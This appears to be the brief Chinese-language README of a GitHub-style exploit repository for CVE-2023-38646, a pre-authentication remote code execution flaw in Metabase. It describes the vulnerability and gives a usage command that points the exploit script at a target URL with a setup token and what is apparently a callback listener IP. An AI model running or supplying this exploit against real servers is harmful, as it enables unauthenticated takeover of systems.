CVE-2023-38646

CVE-2023-38646 从kh4sh3i 复刻而来，去除了对 Burp Collector 的依赖。 CVE-2023-38646（Metabase 无预认证远程代码执行漏洞）： Metabase 开源版本 0.46.6.1 之前以及 Metabase Enterprise 1.46.6.1 之前的版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需认证。 使用方法 python3 CVE-2023-38646.py -u http://target.com -t 349fa13d-fd94-4d9b-b54f-b4ebf2df682f -i 10.10.15.10...